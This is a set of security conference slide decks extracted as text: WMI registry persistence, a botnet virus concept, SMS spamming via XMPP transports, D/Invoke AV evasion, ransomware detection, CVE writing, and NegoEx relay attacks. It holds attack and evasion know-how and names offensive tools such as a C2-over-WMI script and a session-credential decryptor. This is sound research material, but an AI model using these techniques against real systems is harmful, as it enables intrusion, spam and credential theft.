"Calculator") Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name CreateKey @(2147483650, "software\openssh\CustomAgent") Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name DeleteKey @(2147483650, "software\openssh\CustomAgent") 2.3 工具 Registry.ps1:具有易于使用的 PowerShell 函数,用于枚举、创建、删除、更新键等,在手动处 理问题时非常有用; Get-Information.ps1:Nishang 通过注册表收集系统的有趣信息; Invoke-WmiCommand.ps1:Powersploit 是一个非常有用的脚本,它通过使用 WMI 作为纯 C2 通道将 Payload 存储在注册表中来帮助执行代码; Invoke-SessionGopher.ps1:从 PoweShell Empire 搜索和解密来自系统的 RDP、WinSCP、 FileZilla、PuTTY 等会话信息。 三、结论 在收集有用数据时,注册表是攻击者的宝库。此外,注册表还可用于存储 Payload,作为理想的无文件 攻击和持久性机制。在本系列的后面部分,我们将了解如何仅使用 WMI 和注册表来创建整个 C2 基础设 施。现在已经完成了基础知识,在下一篇文章中,将从 WMI 的基本侦察开始。 敬请期待,我的朋友 \o/
pdf
Virus Impossible Virus Impossible CIH<Software Magician> CIH<Software Magician> EMAIL: EMAIL:IamCIH IamCIH(AT) (AT)gmail gmail(DOT) (DOT)com com GIGA GIGA--BYTE TECHNOLOGY CO., LTD. BYTE TECHNOLOGY CO., LTD. 2009/07/18 2009/07/18 PDF created with pdfFactory Pro trial version www.pdffactory.com 這一天 這一天 『 『怎會這樣?我的電腦被駭客入侵了!什麼?螢幕 怎會這樣?我的電腦被駭客入侵了!什麼?螢幕 出現倒數 出現倒數10 10秒,就要把我電腦整個資料破壞! 秒,就要把我電腦整個資料破壞!』 』 螢幕出現倒數: 螢幕出現倒數:10~9~...1~0 10~9~...1~0秒 秒 最後出現一串字: 最後出現一串字:Just Kidding Just Kidding 『 『本台記者報導:今天下午,在同一瞬間,全世 本台記者報導:今天下午,在同一瞬間,全世 界電腦都出現這個訊息, 界電腦都出現這個訊息,""You've been You've been hacked hacked""。幸好,駭客最後沒有真正破壞電腦資 。幸好,駭客最後沒有真正破壞電腦資 料。但是已經引起全世界極度惶恐,從未有這樣 料。但是已經引起全世界極度惶恐,從未有這樣 事情發生過。各國政府機關、資安單位全面關切 事情發生過。各國政府機關、資安單位全面關切 中。駭客的下一步是什麼? 中。駭客的下一步是什麼?』 』 PDF created with pdfFactory Pro trial version www.pdffactory.com 前言 前言 這篇文章的想法,只是一個很初步的簡單雛 這篇文章的想法,只是一個很初步的簡單雛 形,並沒有實際驗證過。也或許藏著一些 形,並沒有實際驗證過。也或許藏著一些 不可能實現的技術,或是錯誤的想法。就 不可能實現的技術,或是錯誤的想法。就 以技術討論的話,一定會有更大的改善空 以技術討論的話,一定會有更大的改善空 間。裡面的論點,都基於 間。裡面的論點,都基於理想 理想狀態,沒有 狀態,沒有 細節分析所有可能性。若是要完整實現整 細節分析所有可能性。若是要完整實現整 個系統,將是非常複雜的事情。因此,此 個系統,將是非常複雜的事情。因此,此 篇內容,只是提供大家,另一種病毒可能 篇內容,只是提供大家,另一種病毒可能 行為的思考。 行為的思考。 PDF created with pdfFactory Pro trial version www.pdffactory.com 行為模式 行為模式 u u 病毒 病毒 u u 蠕蟲 蠕蟲 u u 感染行為 感染行為 •• 鑽網路漏洞 鑽網路漏洞 •• 感染執行檔 感染執行檔 u u 殭屍網路 殭屍網路((BotNet BotNet) ) u u P2P P2P u u 動態執行 動態執行Function Function PDF created with pdfFactory Pro trial version www.pdffactory.com 基本背景 基本背景 u u Super Node Super Node:中毒電腦,具有 :中毒電腦,具有Public IP Public IP。 。 •• 建立 建立Node Node彼此間的連線 彼此間的連線((協助穿越 協助穿越NAT) NAT)。 。 •• 除此之外,就跟一般 除此之外,就跟一般Node Node完全相同。 完全相同。 u u Node Node:所有全部的中毒電腦 :所有全部的中毒電腦((包括 包括Super Super Node) Node)。 。 u u 一般 一般Node Node:不包括 :不包括Super Node Super Node的 的Node Node。 。 u u 這些 這些Node Node,彼此會有 ,彼此會有2~5 2~5個連線,交集成一個病 個連線,交集成一個病 毒網路系統。 毒網路系統。 PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com 病毒的架構 病毒的架構 u u Function Layer Function Layer •• 接收 接收Command Command,若沒有這個 ,若沒有這個Command Command所需要的 所需要的 Function Function,就會去病毒網路系統尋找。 ,就會去病毒網路系統尋找。 u u Network Packet Layer Network Packet Layer •• 接收來自 接收來自Function Layer Function Layer,所有病毒封包的處理、加 ,所有病毒封包的處理、加 密、傳遞工作。 密、傳遞工作。 此病毒,一開始是 此病毒,一開始是完全沒有任何感染能力 完全沒有任何感染能力,也就是 ,也就是 沒有 沒有""感染 感染""的 的Function Function。 。 u u 最原始的病毒,只有 最原始的病毒,只有11個 個Function Function:病毒網路連 :病毒網路連 線 線 PDF created with pdfFactory Pro trial version www.pdffactory.com 病毒運作的過程 病毒運作的過程 PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com 中毒檔案的內容 中毒檔案的內容 u u Function Layer Function Layer程式碼 程式碼 •• Function Function:病毒網路連線 :病毒網路連線 u u Network Packet Layer Network Packet Layer程式碼 程式碼 u u 所有 所有Super Node Super Node的 的IP( IP(一開始是預設 一開始是預設1~2 1~2 個,之後隨著病毒的擴散,系統會自動增 個,之後隨著病毒的擴散,系統會自動增 加 加))。 。 PDF created with pdfFactory Pro trial version www.pdffactory.com 基本技術探討 基本技術探討 u u 病毒程式碼 病毒程式碼 •• 在 在kernel mode kernel mode下執行。 下執行。 •• 全部用組合語言。 全部用組合語言。 •• 所需要的動態 所需要的動態Function Function,也是用組語,可以直 ,也是用組語,可以直 接放在記憶體上執行。 接放在記憶體上執行。 u u 每個 每個Node Node會有唯一的 會有唯一的""Node ID Node ID"( "(例如: 例如: 可以用 可以用MAC MAC、或是其他方法產生 、或是其他方法產生))。 。 u u 封包會有生命週期,以避免無限在網路上 封包會有生命週期,以避免無限在網路上 面跑。 面跑。 PDF created with pdfFactory Pro trial version www.pdffactory.com AA駭客,送封包給 駭客,送封包給BB。 。BB收到後,回封包給 收到後,回封包給AA駭客: 駭客: PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com Hacker Hacker遠端控制 遠端控制 對目標下 對目標下""抓檔案 抓檔案""的 的Command Command PDF created with pdfFactory Pro trial version www.pdffactory.com 目標沒有 目標沒有""抓檔案 抓檔案""的 的Function Function,所以跟病毒網路要 ,所以跟病毒網路要 PDF created with pdfFactory Pro trial version www.pdffactory.com 送檔案給駭客 送檔案給駭客 PDF created with pdfFactory Pro trial version www.pdffactory.com 防止 防止Hacker Hacker被抓 被抓 u u 病毒網路系統,採取 病毒網路系統,採取Broadcast Broadcast封包傳送。 封包傳送。 •• 傳送者,可能會收到自己的封包。避免變成封包傳遞的起點。 傳送者,可能會收到自己的封包。避免變成封包傳遞的起點。 •• 接收者,藏在一盤沙裡面的一粒沙。 接收者,藏在一盤沙裡面的一粒沙。 u u 封包加密。 封包加密。 u u 封包傳遞過程,遇到 封包傳遞過程,遇到11個假的 個假的Node Node。 。 •• 駭客的目標,或許有可能被找出來。 駭客的目標,或許有可能被找出來。((當所有 當所有Node ID Node ID被得知時 被得知時) ) •• 駭客本身,被找出來的可能性,是微乎其微。 駭客本身,被找出來的可能性,是微乎其微。((因為需要那一把駭 因為需要那一把駭 客產生的 客產生的Private Key) Private Key) u u 封包的傳遞,採取 封包的傳遞,採取非即時性 非即時性, ,隨機緩慢性 隨機緩慢性,以避免被追 ,以避免被追 蹤。 蹤。 •• 每個 每個Node Node送封包,亂數 送封包,亂數delay delay, ,11秒 秒~10 ~10分鍾。 分鍾。 •• 避免封包,同一時間大量傳輸。 避免封包,同一時間大量傳輸。 •• 整個封包傳遞過程,所有不同類型的封包,亂七八糟混在網路。 整個封包傳遞過程,所有不同類型的封包,亂七八糟混在網路。 幾乎很難,從時間關係追出封包流向。 幾乎很難,從時間關係追出封包流向。 PDF created with pdfFactory Pro trial version www.pdffactory.com 總結: 總結: Hacker Hacker很有耐心。就算他要抓某一台電腦的 很有耐心。就算他要抓某一台電腦的 一個檔案,等一個禮拜,他都可以等。 一個檔案,等一個禮拜,他都可以等。 PDF created with pdfFactory Pro trial version www.pdffactory.com 需要思考的問題 需要思考的問題 u u 所有 所有Node Node如何完整串接在一起,避免變成兩個以 如何完整串接在一起,避免變成兩個以 上的病毒網路? 上的病毒網路? u u 當其中一個 當其中一個Node Node消失後,其它 消失後,其它Node Node如何串聯在 如何串聯在 一起? 一起? u u Broadcast Broadcast封包傳送的演算法,是否會導致某些 封包傳送的演算法,是否會導致某些 Node Node永遠收不到封包? 永遠收不到封包?((因為封包有生命週期 因為封包有生命週期) ) u u 什麼樣的網路拓撲 什麼樣的網路拓撲(Topologies) (Topologies)最適合這個系 最適合這個系 統? 統? u u 還有其他更多 還有其他更多... ... PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
• XMPP/Jabber • Transports • Short mail • Internet to mobile communications www.g2-inc.com 2 • Number + Carrier = Victim • Users get email message with subscription (texting) • Received as a text message and not an email • Cost equivalent to standard text message www.g2-inc.com 3 • Conventional spamming techniques • Mass emailers • Spoofing the source address • Carrier can be identified by services online • Scriptable • Short mail is accepted by default www.g2-inc.com 4 • Anything past 160 characters may be dropped • Carrier must be properly identified for message to go through • No delivery confirmation www.g2-inc.com 5 • Incoming text = charge to the user • Send short mail from any mail client • Turned on by default • Carrier offers limited methods to stopping the attack www.g2-inc.com 6 • Sprint • 50 max email/domain blocked • Can’t block everything • Verizon • 10 max email/domain blocked • Can block everything • AT & T • 15 max email/domain blocked • Cant block everything www.g2-inc.com 7 • Short mail should not be directly tied into SMS • Possible flagged of message to identify origin • Feature should be easily adjusted by the user • Should be turned off by default • More power should be given to block unwanted messages www.g2-inc.com 8 • Communications through XML • Setting up your own server is easy • Multiple options for different platforms • Allows for bonding to legacy chat implementations • Control of message flow • No rate limiting www.g2-inc.com 9 • Google Talk, Yahoo, AIM, MSN (in some areas) • Input a user’s phone number and their now a contact • Messages get sent in the form of an SMS message www.g2-inc.com 10 • Google forces a user to respond after a chat is initiated • No response after a few messages = no more talk • Yahoo forces a user to respond after a chat is initiated and performs throttling • AOL does NOT force a user to respond but does throttle www.g2-inc.com 11 • Rate limiting is imposed when sending messages too fast • Messages past 160 characters are split into multiple messages and NOT dropped • 1 message = 13 messages (2000 byte max) • Acceptance must be made the first time for chatting (this was not always the case) • Abuse can be programmatically done www.g2-inc.com 12 • Transport is a bolt-on to a jabber server • Shows up in service directory for the hosted jabber domain • Users can bond to “legacy” services • Jabber_Name -> AOL • Log in to jabber and see AOL contacts • User looks like: [email protected] • Jabber name can bond to multiple AOL names (each must be on a different transport) • Public transports are available www.g2-inc.com 13 • Internal Jabber server with AIM transport service • Bond internal jabber accounts with AOL accounts • Send messages to phones using internal jabber account • Connection, bonding and authorization can be done programmatically www.g2-inc.com 14 • Generate phone list • Generate AOL account list (you must own these) • Read through list and send one giant message per number (1000 messages per second) • Send multiple messages to one number (must add delay to avoid rate limits) www.g2-inc.com 15 • AOL is the single point of failure • Rate limiting is a pain • Phone carriers queue messages • Limited bandwidth • Some messages could be dropped • AOL provides support to combat against spam and allows users to block messages www.g2-inc.com 16 • Send messages at a high rate of speed • Some transports have support for SOCKS proxies (tor) • Public transports are often found in other countries with a large user base (good for hiding) • All attacks can be done programmatically without interaction www.g2-inc.com 17 • AOL needs to follow Yahoo and Google’s implementation design • Protection has gotten better since testing first began a year ago • ToC servers appear to no longer support Internet to mobile communications www.g2-inc.com 18 • Eliminates dependencies with libraries • Could easily be made into a framework with modules • Can be accessed anywhere by many people • Proof-of-Concept allows • Bonding of names • Sending messages through a choice of transports • Sending spoofed short mail messages • Identifying public transports • More could be added www.g2-inc.com 19 www.g2-inc.com 20
pdf
1 P/Invoke和D/Invoke的区别 解释unmanaged code P/Invoke D/Invoke D/Invoke的⼀些应⽤ Interoperating with unmanaged code https://docs.microsoft.com/en-us/dotnet/framework/interop/ p/Invoke是⼀项允许您从托管代码访问⾮托管库中的结构,回调和函数的技术。 ⼤多数P/Invoke API包含在以下两个名称空间中: System System.Runtime.InteropServices 这两个名称空间为您提供了很多⼯具,帮助你⽅便快捷地本机组件进⾏通信。 解释unmanaged code 1 .NET Framework促进了与COM组件,COM+服务,外部类型库和许多操作系统服务的交互。 托管和⾮托管对象模型之间的数据类型,⽅法签名和错误处理机制都不同。 2 为了简化.NET Framework组件与⾮托管代码之间的互操作并简化迁移路径,公共语⾔运⾏ 库对客户端和服务器隐藏了这些对象模型中的差异。 3 4 在运⾏时的控制下执⾏的代码称为托管代码。 5 相反,在运⾏时之外运⾏的代码称为⾮托管代码。 6 COM组件,ActiveX接⼝和Windows API函数是⾮托管代码的示例。 P/Invoke 1 using System; 2 using System.Runtime.InteropServices; 3 4 public class Program 2 第⼗⼀⾏9号P/Invoke⼯作的关键,它定义了⼀种托管⽅法,该⽅法具有与⾮托管⽅法完全相同的签名。 该声明有⼀个extern关键字,它告诉Runtime这是⼀个外部⽅法,并且在调⽤它时,让Runtime在 DllImportattribute中⾃动寻找对应⽅法调⽤。 在Mac上也可以⽤,但是调⽤的就是mac上的的库 5 { 6 // Import user32.dll (containing the function we need) and de fine 7 // the method corresponding to the native function. 8 //加载⾮托管的DLL 9 [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastEr ror = true)] 10 11 private static extern int MessageBox(IntPtr hWnd, string lpTe xt, string lpCaption, uint uType); 12 13 public static void Main(string[] args) 14 { 15 // Invoke the function as a regular managed method. 16 MessageBox(IntPtr.Zero, "Command-line message box", "Atte ntion!", 0); 17 } 18 } 1 using System; 2 using System.Runtime.InteropServices; 3 4 namespace PInvokeSamples 5 { 6 public static class Program 7 { 8 // Import the libSystem shared library and define the met hod 9 // corresponding to the native function. 10 [DllImport("libSystem.dylib")] 11 private static extern int getpid(); 12 13 public static void Main(string[] args) 3 D/Invoke全称是Dynamic Invocation,出处应该是这⾥Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks) 作⽤就是避免被AV Hook、被怀疑进⾏恶意导⼊。 代码是在运⾏时加载DLL,使⽤指向在内存中位置对⽤的指针来调⽤该函数,⽽不是使⽤PInvoke直接静态 导⼊API调⽤。我们可以从内存中调⽤任意的⾮托管代码(同时可以传递参数),并以反射⽅式执⾏ payload。避免了导⼊地址表⾥⾯出现恶意函数! 详细介绍 https://thewover.github.io/Dynamic-Invoke/ 原理 https://blog.xpnsec.com/weird-ways-to-execute-dotnet/ https://github.com/cobbr/SharpSploit 墙裂推荐 https://github.com/xpn/NautilusProject https://github.com/med0x2e/NoAmci https://offensivedefence.co.uk/posts/dinvoke-syscalls/ https://rastamouse.me/blog/process-injection-dinvoke/ 14 { 15 // Invoke the function and get the process ID. 16 int pid = getpid(); 17 Console.WriteLine(pid); 18 } 19 } 20 } D/Invoke D/Invoke的⼀些应⽤
pdf
加密勒索軟體行為偵測 (以Mac OS X為例) Henry HITCON 2016 About Me • 黃禹程 (Henry) • Developer at Verint • 專長: Web Development • 資安是興趣 • Chroot成員 大綱 • 偵測模型 • Mac OS X上用FUSE實作成果演示 • 實作說明 • 問題與討論 • 新專案:RansomCare • 結論 偵測模型 與平台無關 對勒索軟體的假設 • 世上只有兩種勒索軟體 – 覆寫型 (OVERWRITE): 加密並覆寫原檔 – 開檔型 (NEW_FILE): 產生新加密檔並刪除原檔 • 一定會保留檔案全部內容 • 只具一般使用者權限 • [optional] 只關注某些檔案類型 – Ex. docx, pptx, xlsx, pdf, png, jpg, ...... 對勒索軟體的假設 (continued) • 覆寫型: 必覆寫全檔,且檔案內容變質 – MIME Type改變 (目前只採用此項) – 相似度變低 – Entropy變高 • 開檔型: 必讀取全檔,且讀完會刪檔 • 進入點是readdir (列出某目錄下的檔案) 歸納:執行路徑 • 覆寫型:readdir → open → read all → write all → release (檔案變質) • 開檔型:readdir → open → read all → (write to somewhere) → unlink • 對所有行程都追蹤這麼長的路徑很耗資源 – 利用白名單 合理的白名單? • 系統程式 • 在開啟選單中的程式 • 所開檔案副檔名不被關注 – 不是.docx, .pdf, .png, ...... 開啟選單 inspected process P monitored file F 偵測模型 DEMO - HANSOM Hansom - 用FUSE實作的Proof of Concept 實作說明 Hansom如何利用FUSE來偵測ransomware? FUSE[1] • Filesystem in USErspace (OSX: osxfuse[2]) – FUSE kernel module – libfuse[3] (library in userspace) • FUSE的kernel module把filesystem的操作請 求交由userspace的程式來作回應 圖解Hansom實作 例:open 問題與討論 如何躲避偵測?改進空間? inspected process P monitored file F 如何躲避偵測? 檔 4. 把關鍵動作拆在不同process中 5. 把自己註冊到開啟清單 (需要高權限) 6. 放進系統目錄中 or 注射系統process 7. readdir完先把副檔名改掉再open 2. 不要關檔 改進空間及方向? • 偵測方式:inline mode v.s. sniffer mode • FUSE的作法 – Inline mode – Ransomware演化前可有效偵測 – 會影響系統效能 (syscall從kernel → user → kernel) • 較理想的作法 – 從Kernel mode將關鍵行為事件傳回user mode判斷 • 判斷跟系統操作非同步 → 不影響系統穩定性 – User mode: 監控honey file RANSOMCARE https://github.com/Happyholic1203/ransomcare OS X Windows TODO 結論 結論 • 本模型只看行為 → 與平台無關 • 該模型能偵測KeRanger及自製ransomwares – 尚未在OSX外實驗 • Ransomware會演化 勢必會有一番攻防 – 最頭痛的演化方向:高權限、DLL side loading等 • 知道盾的作法 也探討了矛的新切入角度 • Inline mode penalty: 系統效能/穩定性 • Sniffer mode penalty: 有些檔案會犧牲 誤判率較 高 Reference • [1] FUSE https://en.wikipedia.org/wiki/Filesystem_in_Userspace • [2] osxfuse https://osxfuse.github.io/ • [3] libfuse https://github.com/libfuse/libfuse Related Works • Emsisoft Behavior Blocker (2015) – 成功偵測20支ransomware (連結裡有demo) • CryptoDrop (IEEE ICDCS 2016) – 成功偵測492個ransomware sample – Windows Kernel Driver – Indicators • File Type Changes: magic number • File Similarity: sdhash outputs similarity bettween two files • Shannon Entropy: entropy of an array of bytes Q & A? 各位的指教都是進步的動力! 謝謝!
pdf
Ken Lee @echain A Brain-Friendly Guide Head First CVE + Who is Ken? * Former Product Developer * Chief Security Officer (WIP) * Head of Synology SIRT https://www.synology.com/security + 2013 The Phantom Menace * Started working in 2013/01 * No developer to respond to vulnerabilities * Lacked a sense of cybersecurity * High-profile CVEs were notified by customers + 2014 Revenge of the Sith * Severely affected by you-know-who * Built a working group for cybersecurity * Built private Bounty Program * Deployed security mitigations to DSM 5 + 2016 The Empire Strikes Back * Built Vulnerability Response Program * Built invitation-only Bounty Program * Reported critical flaws of Photo Station * Disclosed vulnerabilities w/o confirmation + 2017 Return of the Jedi * Authorized as the CNA * Built Incident Response Program * Announced Security Bug Bounty Program * Built Product Security Assurance Program + Agenda * 00 | Common Vulnerabilities and Exposures * 01 | CVE Numbering Authority * 10 | Phrasing and Counting Rules * 11 | Tool for dummies https://cve.mitre.org/news/archives/2019/news.html https://cve.mitre.org/cve/cna/rules.html https://cve.mitre.org/cve/cna/rules.html [CWE] in [CPE] allows [ATTACKER] to have IMPACT via [CAPEC]. + MITRE’s Template * [VULNTYPE] in [COMPONENT] in [VENDOR] * [PRODUCT] [VERSION] allows [ATTACKER] * to [IMPACT] via [VECTOR]. * [COMPONENT] in [VENDOR] [PRODUCT] * [VERSION] [ROOT CAUSE], which allows * [ATTACKER] to [IMPACT] via [VECTOR]. https://cveproject.github.io/docs/content/key-details-phrasing.pdf + Version * List vulnerable version * - 1.2.3 * - 1.2.3, 2.3.1, and 3.1.2 + Version * List vulnerable version * Earlier versions are affected * - 1.2.3 and earlier * - 1.2.3, 2.3.1, 3.1.2, and earlier + Version * List vulnerable version * Earlier versions are affected * Fixed or updated version * - before 1.2.3 * - before 1.2.3, 2.x before 2.3.1, and 3.x before 3.1.2 + Version * List vulnerable version * Earlier versions are affected * Fixed or updated version * Vulnerable range * - 1.2.1 through 1.2.3 * - 1.2.1 through 1.2.3 and 2.0.1 through 2.3.1 https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + Attacker * Remote attackers * Remote authenticated users * Local users * Physically proximate attackers * Man-in-the-middle attackers * - AV:N * - AC:L * - PR:N + Attacker * Remote attackers * Remote authenticated users * Local users * Physically proximate attackers * Man-in-the-middle attackers * - AV:N * - AC:L * - PR:L + Attacker * Remote attackers * Remote authenticated users * Local users * Physically proximate attackers * Man-in-the-middle attackers * - AV:L * - AC:L * - PR:L + Attacker * Remote attackers * Remote authenticated users * Local users * Physically proximate attackers * Man-in-the-middle attackers * - AV:P * - AC:L * - PR:N + Attacker * Remote attackers * Remote authenticated users * Local users * Physically proximate attackers * Man-in-the-middle attackers * - AV:N * - AC:H * - PR:N + Attacker * Remote [TYPE] servers * Guest OS users * Guest OS administrators * Context-dependent attackers * [EXTENT] user-assisted [ATTACKER] * Attackers https://devco.re/blog/2019/11/11/HiNet-GPON-Modem-RCE/ + CVE-2019-13411 (TWCERT/CC) An “invalid command” handler issue was discovered in HiNet GPON firmware < I040GWR190731. It allows an attacker to execute arbitrary command through port 3097. CVSS 3.0 Base score 10.0. CVSS vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). [VULNTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allows [ATTACKER] to [IMPACT] via [VECTOR]. + CVE-2019-13411 (Revised) OS command injection vulnerability in omcimain in HiNet GPON firmware before I040GWR190731 allows remote attackers to execute arbitrary command via port 3097. + Cross-site Scripting (1-1) Cross-site scripting (XSS) vulnerability in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allows remote attackers to inject arbitrary web script or HTML via the [PARAM] parameter. + Cross-site Scripting (1-N) Multiple cross-site scripting (XSS) vulnerabilities in [VENDOR] [PRODUCT] [VERSION] allow remote attackers to inject arbitrary web script or HTML via the [PARAM] parameter to (1) [COMPONENT1], (2) [COMPONENT2], ..., or (n) [COMPONENTn]. + Cross-site Scripting (N-1) Multiple cross-site scripting (XSS) vulnerabilities in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allow remote attackers to inject arbitrary web script or HTML via the [PARAM1], (2) [PARAM2], ..., or (n) [PARAMn] parameter. + Cross-site Scripting (N-N) Multiple cross-site scripting (XSS) vulnerabilities in the (1) [PARAM1] or (2) [PARAM2] parameter to [COMPONENT1]; the (3) [PARAM3] parameter to [COMPONENT2]; ...; or (n) [PARAMn] parameter to [COMPONENTm]. [VENDOR] [PRODUCT] [VERSION] allow remote attackers to inject arbitrary web script or HTML via + SQL Injection (1-1) SQL injection vulnerability in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allows [ATTACKER] to execute arbitrary SQL commands via the [PARAM] parameter. + SQL Injection (1-N) Multiple SQL injection vulnerabilities in [VENDOR] [PRODUCT] [VERSION] allow [ATTACKER] to execute arbitrary SQL commands via the [PARAM] parameter to (1) [COMPONENT1], (2) [COMPONENT2], ..., or (n) [COMPONENTn]. + SQL Injection (N-1) Multiple SQL injection vulnerabilities in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allow [ATTACKER] to execute arbitrary SQL commands via the (1) [PARAM1], (2) [PARAM2], ..., or (n) [PARAMn] parameter. + SQL Injection (N-N) Multiple SQL injection vulnerabilities in to execute arbitrary SQL commands via the (1) [PARAM1] or (2) [PARAM2] parameter to [COMPONENT1]; (n) [PARAMn] parameter to [COMPONENTm]. [VENDOR] [PRODUCT] [VERSION] allow [ATTACKER] the (3) [PARAM3] parameter to [COMPONENT2]; ...; + Counting Decisions * CNT1 | Independently Fixable * CNT2 | Vulnerability * - CNT2.1 | Vendor Acknowledgment * - CNT2.2A | Claim-Based * - CNT2.2B | Security Model-Based + Counting Decisions * CNT3 * - Shared Codebase * - Libraries, Protocols, or Standards + Inclusion Decisions * INC1 | In Scope of Authority * INC2 | Intended to be Public * INC3 | Installable / Customer-Controlled Software * INC4 | Generally Available and Licensed Product * INC5 | Duplicate + Edge Cases * MD5 / SHA-1 * Default Credentials * Cloudbleed * End-of-life products + Edge Cases * MD5 / SHA-1 * Default Credentials * Cloudbleed * End-of-life products + Edge Cases * Default Credentials * Cloudbleed * End-of-life products * MD5 / SHA-1 + Edge Cases * Default Credentials * Cloudbleed * End-of-life products * MD5 / SHA-1 + Update CVE Entries * Reject * - Not a vulnerability (fails CNT2) * - Not to make the vulnerability public (fails INC2) * - Not customer controlled (fails INC3) * - Not generally available (fails INC4) + Update CVE Entries * Reject * Merge * - Not independently fixable (fails CNT1) * - Result of shared codebase, library, etc. (fails CNT3) * - Duplicate assignment (fails INC5) + Update CVE Entries * Reject * Merge * Split * - Contains interpedently fixable bugs (passes CNT1) * - Not share a codebase (fails CNT3) * - To be implementation specific (fails CNT3) + Update CVE Entries * Reject * Merge * Split * Dispute * - Validity of the vulnerability is questioned + Update CVE Entries * Reject * Merge * Split * Dispute * Partial Duplicate + Catch 'Em All * How CVE and CNA works + Catch 'Em All * How CVE and CNA works * Why Synology want to be a CNA * - Expertise around products within our scope * - Control the disclosure policy and procedure + Catch 'Em All * How CVE and CNA works * Why Synology want to be a CNA * How to write CVE descriptions * - CWE / CPE * - Version * - Attacker + Catch 'Em All * How CVE and CNA works * Why Synology want to be a CNA * How to write CVE descriptions * CVE counting rules * - Counting decisions * - Inclusion decisions
pdf
#BHUSA @BlackHatEvents AAD Joined Machines - The New Lateral Movement Mor Rubin #BHUSA @BlackHatEvents Who am I? • Mor Rubin (@rubin_mor) • Senior security researcher at Microsoft • Interested in networking, cloud and On-Prem attacks, mitigations and detections #BHUSA @BlackHatEvents Agenda • Introduction to key terms • NegoEx protocol • Attacks • Demo • Hunting • Takeaways #BHUSA @BlackHatEvents Technical background #BHUSA @BlackHatEvents Azure AD Joined device Ref: Dirk-Jan Mollema “I’m in your cloud… reading everyone’s email” Troopers ’19 https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf #BHUSA @BlackHatEvents AADJ Authenticated Connections AADJ AADJ PRT P2P Certificate #BHUSA @BlackHatEvents Primary Refresh Token - PRT • A JSON Web Token (JWT) for the user and the device it was issued for • Can be compared to Ticket Granting Ticket (TGT) • Can be used to authenticate to any application #BHUSA @BlackHatEvents P2P Azure AD certificate • Certificate that is used for peer-to-peer authentication between Azure AD joined devices • Issued by Azure AD upon request and valid only for 1 hour #BHUSA @BlackHatEvents Kerberos PKINIT Kerberos extension allows certificate authentication over Kerberos instead of hash (password) Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms- kile/b4af186e-b2ff-43f9-b18e-eedb366abf13 #BHUSA @BlackHatEvents PKU2U • Based on Kerberos version 5 messages and the Kerberos GSS-API mechanism. • Implemented as a Security Support Provider (SSP) enables peer-to-peer authentication • Used for authentication in NegoEx when no KDC exists #BHUSA @BlackHatEvents GSSAPI \ SSPI • SSPI is an API that allows application to add authenticity and privacy layer • It is applicable to any application that allows 'Windows Authentication' Ref: https://docs.microsoft.com/en-us/windows-server/security/windows- authentication/security-support-provider-interface-architecture #BHUSA @BlackHatEvents NegoEx protocol #BHUSA @BlackHatEvents NegoEx Client Server #BHUSA @BlackHatEvents Initiator nego • Contains a random identifies the session * Similar for the server side in Acceptor nego #BHUSA @BlackHatEvents Initiator metadata Generated by GSS_Query_meta_data() * Similar for the server side in Acceptor metadata #BHUSA @BlackHatEvents AP_REQUEST PKU2U part #BHUSA @BlackHatEvents CHALLENGE PKU2U part #BHUSA @BlackHatEvents VERIFY • NegoEx validator • Checksum all previous messages #BHUSA @BlackHatEvents Attacks #BHUSA @BlackHatEvents NegoEx Relay • Data is not shared between computers to find the “real” source • Authentication process is easily relayed when not signed * Relaying back to victim does not work #BHUSA @BlackHatEvents NegoEx Relay Init nego, Init metadata Init nego, Init metadata Server Client Acceptor nego, Acceptor metadata Acceptor nego, Acceptor metadata AP_REQUEST AP_REQUEST CHALLENGE CHALLENGE Verify AP_REQUEST (AS_REQ) and generate CHALLENGE (AS_REP) AP_REQUEST, VERIFY AP_REQUEST, VERIFY CHALLENGE, VERIFY CHALLENGE, VERIFY Verify AP_REQUEST (AP_REQ) and generate CHALLENGE (AP_REP) and NegoEx verify message Generate AP_REQUEST (KRB_AP) from CHALLENGE and NegoEx verify #BHUSA @BlackHatEvents NegoEx Relay Init nego, Init metadata Init nego, Init metadata Server Client Acceptor nego, Acceptor metadata Acceptor nego, Acceptor metadata #BHUSA @BlackHatEvents NegoEx Relay AP_REQUEST AP_REQUEST Server Client CHALLENGE CHALLENGE Verify AP_REQUEST (AS_REQ) and generate CHALLENGE (AS_REP) Attacker can modify client’s name #BHUSA @BlackHatEvents NegoEx Relay AP_REQUEST, VERIFY AP_REQUEST, VERIFY Server Client CHALLENGE, VERIFY CHALLENGE, VERIFY Verify AP_REQUEST (AP_REQ) and generate CHALLENGE (AP_REP) and NegoEx verify message If client name modified, another auth attempt should be made #BHUSA @BlackHatEvents NegoEx Relay – Changed client name Init nego, Init metadata Init nego, Init metadata Server Client Acceptor nego, Acceptor metadata Acceptor nego, Acceptor metadata #BHUSA @BlackHatEvents NegoEx Relay - Changed client name AP_REQUEST, VERIFY AP_REQUEST, VERIFY Server Client CHALLENGE, VERIFY CHALLENGE, VERIFY Verify AP_REQUEST (AP_REQ) and generate CHALLENGE (AP_REP) and NegoEx verify message PKU2U AP request #BHUSA @BlackHatEvents 